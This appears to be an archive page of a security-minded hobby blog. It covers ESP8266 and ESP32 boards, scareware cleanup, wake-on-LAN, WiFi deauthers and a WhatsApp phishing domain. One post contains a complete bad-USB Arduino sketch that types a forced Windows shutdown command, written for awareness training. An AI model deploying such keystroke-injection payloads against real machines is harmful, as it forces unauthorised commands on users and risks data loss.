Thursday, 8 February 2018

The all-you-can-possibly-want ESP8266 dev board


All-in-one ESP8266 module

I did a very simple 5-minute example project with this board. The video will be available shortly.

Overview

The somewhat unwieldly name "Wemos® D1 Esp-Wroom-02 Motherboard ESP8266 Mini-WiFi NodeMCU Module ESP 8266+18650 Battery+0.96 OLED" betrays a very complete ESP8266 development module, that boasts a load of features:
  • USB2Serial bridge (Silicon Labs CP210x USB to UART Bridge)
    If your PC does not automatically detect the driver, you find it here.
  • Power switch
  • LiIon charge circuit
  • 18650 battery holder
    Beware: the holder is too short for my favourite protected 18650 cells. These INR cells should fit instead.
  • "Wemos" labelled ESP-12F ESP8266 module. It does not look like a WROOM-02, though.
  • SSD1306 OLED display
  • 4-way + push "joystick"

Bells and whistles
The Wemos product page does not list a module like that, so it might not be their product at all.
Leave a note in the comments, if you know more about that.

OLED details

The OLD display is white-ish in colour. It works with the usual SSD1306 library. The protocol is I2C.

No surprises here.

The PIN assignment is:
  • SDA=GPIO 5
  • SCL=GPIO 4 
The I2C Address ist 0x3c, as it is common for these modules.

4-way switch

To interact with the module, this is super handy.
The Pin assignment is:
  • UP = GPIO 12  (=D6)
  • DOWN = GPIO 13 (=D7)
  • LEFT = GPIO 0 (=D3, FLASH)
  • RIGHT = RESET (!)
  • SELECT = GPIO 14 (=D5)
The RIGHT pin is a bit of a questionable choice. Then again the module does not have a dedicated reset button.

Caveats

I could not get the module to power up without a battery inserted.
People have reported that some components heat up when charging the batteries. I haven't noticed that yet.

IDE selection

I use the Arduino IDE on Windows whenever possible and the bare bones Espressif build environment on Linux whenever necessary.
  • Set-up of the Arduino IDE for ESP8266 ist >>here<<
  • For the Linux build environment, see >>here<<
In the Arduino IDE, I used "WeMos D1" as board type. and 4M (3M SPIFFS) for this module and did not have any issues with it.




Saturday, 6 January 2018

How to use a TTGO ESP32 module with OLED display and 18650 battery holder

TTGO ESP32 dev module

I got this very complete dev module from Banggood for review.


TTGO ESP32 Development Module

  Features:

  • ESP-WROOM-32 Module
    (=Wifi, Bluetooth, two cores)
  • USB to serial bridge with Silicon Labs CP210X Chip
    (supported by Windows and Linux)
  • Charge Circuit for an 18650 battery (backside of board)
  • OLED display (SSD1306 or compatible) I2C version
  • LED on GPIO16
  • power switch

Notes from my experiments:

IDE

It was no problem getting the module to work with both the Arduino IDE and a generic ESP-32 developmnent environment (as provided by Espressif).
I set up a dedicated virtual machine running Ununtu with VirtualBox under Windows 10.
For the setup I simply followed the instructions provided by Espressif.

OLED

Unlike on other ESP32 boards with OLEDs, the OLED's I2C SDA and SCL pins are connected as follows:

SCL - Pin 4
SDA - Pin 5

It does not require an "enable" signal on GPIO16 as suggested in some programs I found. So comment these out if you see them.


Power requirements

When I didn't have a battery inserted, my powered USB hub apparently could not provide enough power when I activated WiFi and the ESP32's brownout detection triggered.
I haven't investigated that further. Either my USB hub dies not provide enough power, or the board's regulator is too weak to handle the current.

Example Project: Web Radio

As my first project, I ran a very simple web radio firmware on the module. The code was easy to find here on Github. A six minute video of my 5-minute project is available on my Youtube channel here.



Friday, 5 January 2018

Firefox FF Protecter malware plugin

FF Protecter [sic!]

Wahrscheinlich jeder, der sich "mit Computern auskennt", hat eine nette alte Dame deren Bitte doch mal nach ihrem PC zu schauen er nicht abschlagen kann.

Scareware?

Allein die Tatsache, dass ich aus dem Hilferuf der Dame nicht schlau wurde, legte nahe, dass irgend eine Form von Scareware am Start war. Unmöglich das am Telefon vernünftig zu qualifizieren.
Also Kinder ins Bett gebracht und ins Auto gestiegen.

Scareware!

Schon der erste Eindruck war deutlich: Firefox hatte sich über den gesamten Bildschirm gelegt und allerhand obskure Warnfenster in etwas unbeholfenem Deutsch aufgeworfen:

Sehr hässlich!
Keines der Fenster konnte mehr geschlossen werden. Der Task-Manager zeigte keine verdächtigen Prozesse, der Firefox Prozess konnte über den Task-Manager beendet werden. Damit war der Spuk vorbei.
Ich checke in solchen Fällen zuerst mit Autoruns, ob Programme im Kontext des Benutzers gestartet werden. Administrative Rechte hat die Dame nicht.
Das ist auch gut so, denn im "Downloads" Ordner lagen einige suspekte Installer für "Recovery" Programme. Hätte die Installation geklappt, wäre die Situation unangenehmer geworden.

Plugins

Firefox startete nun zunächst wieder unauffällig. Aber nicht für lange: Nach wenigen Klicks poppte über eigentlich unverdächtigen Websites Werbung für Potenzpillen auf. Ein Indiz, dass die Ursache des Problems im Dunstkreis des Firefox liegt. Also mal einen Blick in die Plugins werfen...
Ooops... die installierten Plugins lassen sich nicht anzeigen. Offensichtlich schützt sich da ein Stück Schadsoftware selbst.

Safe mode

Also den Firefox mit gedrückter "Shift" Taste gestartet, schon war der Plugin Manager wieder zugänglich.

FF Protecter

Zwei Einträge passten vom Datum her sehr schön zum Beginn der Probleme. Beide Plugins nannten sich "FF Protecter" [sic!]. Nach deren Deinstallation gab es keine Auffälligkeiten mehr.

Eine Suche bei Google nach "FF Protecter" ergab keine Treffer. Die Suche nach der angeblichen Microsoft Support Nummer 08938034150 hingegen ergab, dass seit Ende Dezember 2017 mit Scare-Popups zum Anrufen bewegt werden sollen.
Was bei so einem Anruf passiert habe ich hier beschrieben.

Friday, 8 December 2017

Wake on lan (WOL) from Microsoft SCCM through Cisco Layer3 Switches

How to securely forward wake-on-lan packets from remote subnets through Cisco layer 3 switches

To facilitate software deployments, we need to wake PCs up from the deployment server. As the server uses directed broadcasts to the destination subnet, this fails in any reasonably secure network.

In our scenario, the SCCM server resides in VLAN10, while the destination PC lives in VLAN20. The SCCM server sends a "magic packet" to 192.168.20.255. This packet will normally be discarded by the router / L3 switch.

To be a bit more obscure, we have choosen port 12287. During the tests it seemed like the packet needed to be allowed in several ways:

  1. explicitly enable forwarding for udp 12287
  2. explicitly allow such a packet on the ingress interface with an ACL
  3. explicitly allow the packet on the egress interface with an ACL
    (but I might be mistaken here. -> needs testing if it works without)



Despite the fact that we do use a Microsoft SCCM server, it's WOL function wouldn't work for us. We used a 3rd party WOL tool instead and schedule the wake-ups. Wolcmd could do that for you.

Friday, 1 December 2017

Some fun with bad-usb devices (not rubber ducky)

Some fun with Leonardo-like usb devices

No, it is not rubber-ducky.

I was looking for a cheaper alternative to the rubber ducky devices to use for a user security awareness training at the media company I work for.

Comprehensive video instructions >>>HERE<<<

mmmmh... Payroll data. Who could resist?
I found those USB devices resembling an ordinary thumb drive here:
At a little under 10€, it is a somewhat overpriced Leonardo without any useable GPIOs. But it perfectly serves my purpose.

From what I could see with Wireshark's USB sniffer, my devices came without anything malicious preinstalled. As expected, the device identified as an Arduino Leonardo board.

Being what it is, it can easily be programmed in the Arduino IDE.
Simply use it as a Leonardo board


 /*  
 Some fun with Keyboard Emulation  
 Shuts down a windows machine after 20 seconds  
  */  
 // the following line may not be needed by current versions of the IDE  
 //#include "Keyboard.h"  
 //some definitions, I do not really use  
 char ctrlKey = KEY_LEFT_CTRL;  
 char winKey = KEY_LEFT_GUI;  
 char altKey = KEY_LEFT_ALT;  
 void setup() {  
  // we only need a keyboard for this prank...  
  Keyboard.begin();  
 }  
 void loop() {  
 // 20 seconds to load a new sketch  
  delay(20000);  
 //Now run the shutdown command  
  Keyboard.press(KEY_LEFT_GUI);  
  Keyboard.press('r');  
  delay(200);  
  Keyboard.releaseAll();  
  delay(200);  
  Keyboard.print("shutdown /t 1 /f /s");  
  delay(100);  
  Keyboard.press(KEY_RETURN);  
  Keyboard.releaseAll();  
  // wait forever...   
  while (true);  
 }  

This script works as expected and shuts down the PC. It could just as well start an Internet Explorer and visit a malicious web site.
Keep in mind that everything runs under the current user's privileges, so users without administrative privileges can only do limited damage.

It became very clear to everyone attending my training, that plugging in an USB device of unknows contents and origin is simply a bad idea.

Friday, 9 June 2017

ESP8266 Sniffers, Deauthers and Scanners

Using the ESP8266 for (IoT) security research and testing

Why would I want to break stuff?

I have a background in education, but have worked as a network administrator with a strong security focus for the last 20+ years. So from time to time I do half-day user security awareness trainings in the company I work for.
To spice things up around the middle of the training, I have a collection of IT-security parlor tricks that don't require a lot of preparation, like manipulated DNS in a router and bit of fun with BeEF on Kali Linux.
I had used the ESP8266 in presentations a few times with some novelty projects like the Pong Clock. Never for nefarious purposes. Time to have a closer look.

What is it all about?

The ESP8266, like quite a few other WiFi chips (Atheros 9271 being one of the most notorious examples), has both the ability to send "manually" crafted packets, and to enter "monitor", or (not quite correctly in this context) "promiscuous"mode to receive data not specifically directed to the module.

Sounds pretty interesting, huh? - BUT:
  • The "wifi_send_pkt_freedom()" function was sadly removed from Espressif's SDK when upgrading from 1.3.0 to 1.4.0
  • The promiscuous mode only captures only 112 Bytes per packet. (128 Bytes, of which 16 are metainfo)
The good thing is that Kieran Simkin has put the original SDK 1.3.0 files here on Github, so not all of the freedom is lost.

(Note: The April 6th release notes for ESP-IDF 2.0 (ESP32 platform) mention "support for full packet-receive in sniffer mode" - Interestíng times ahead...)

What's out there? (In June 2017)

The IMHO most noteworthy examples:

Breadboarded deauther with OLED display

Why deauthenticate clients?

Being a royal pain in the ...uuh.. "behind" of other Wifi users, seems to be the main target of the majority of deauther-users. But the aforementioned monitor (or in this case: promiscuous) mode enables an attacker to capture the four-way handshake when the client re-connects to the access-point and get hold of the password hash.
If the password is short and/or weak enough to be brute forced or guessed from the hash, the attacker will get hold of the WPA preshared key (AKA Wifi password).
At the moment the limited promiscuous mode of the ESP8266 and/or it's SDK prevents this.
Not sure about the ESP32 yet, though.

Anything I can do about it?

Wifi equipment certified after July 2014 will support the 802.11w standard (defined some time around 2009) and will be immune to deauthentication attacks. A good reason to update your gear.

Sunday, 14 May 2017

WhatsApp neue Farben (Betrug?)

Im Laufe des Abends sind über WhatsApp einige Meldungen mit dem Wortlaut
"Ich liebte whatsapp neue Farben" oder "ich liebte neue Farben für Whatsapp" eingegangen.
Dabei sieht die URL sehr verdächtig nach einem homographischen Angriff aus.

Verdächtig...


Tatsächlich ist die Zielseite erst seit dem 28.4. anonym über GoDaddy registriert und hat bei Talos einen schlechten "Ruf" (Web reputation: poor)

Tatsächlich ist der Name der Domain: XN--80AA2CAH8A7F73B.COM
Das soll den Anschein erwecken als sei whatsapp.com der Betreiber.
Schlechtes Deutsch und fragwürdige Bedingungen


also: Finger weg

Kennt jemand die Hintergründe? -> Bitte Kommentar hinterlassen.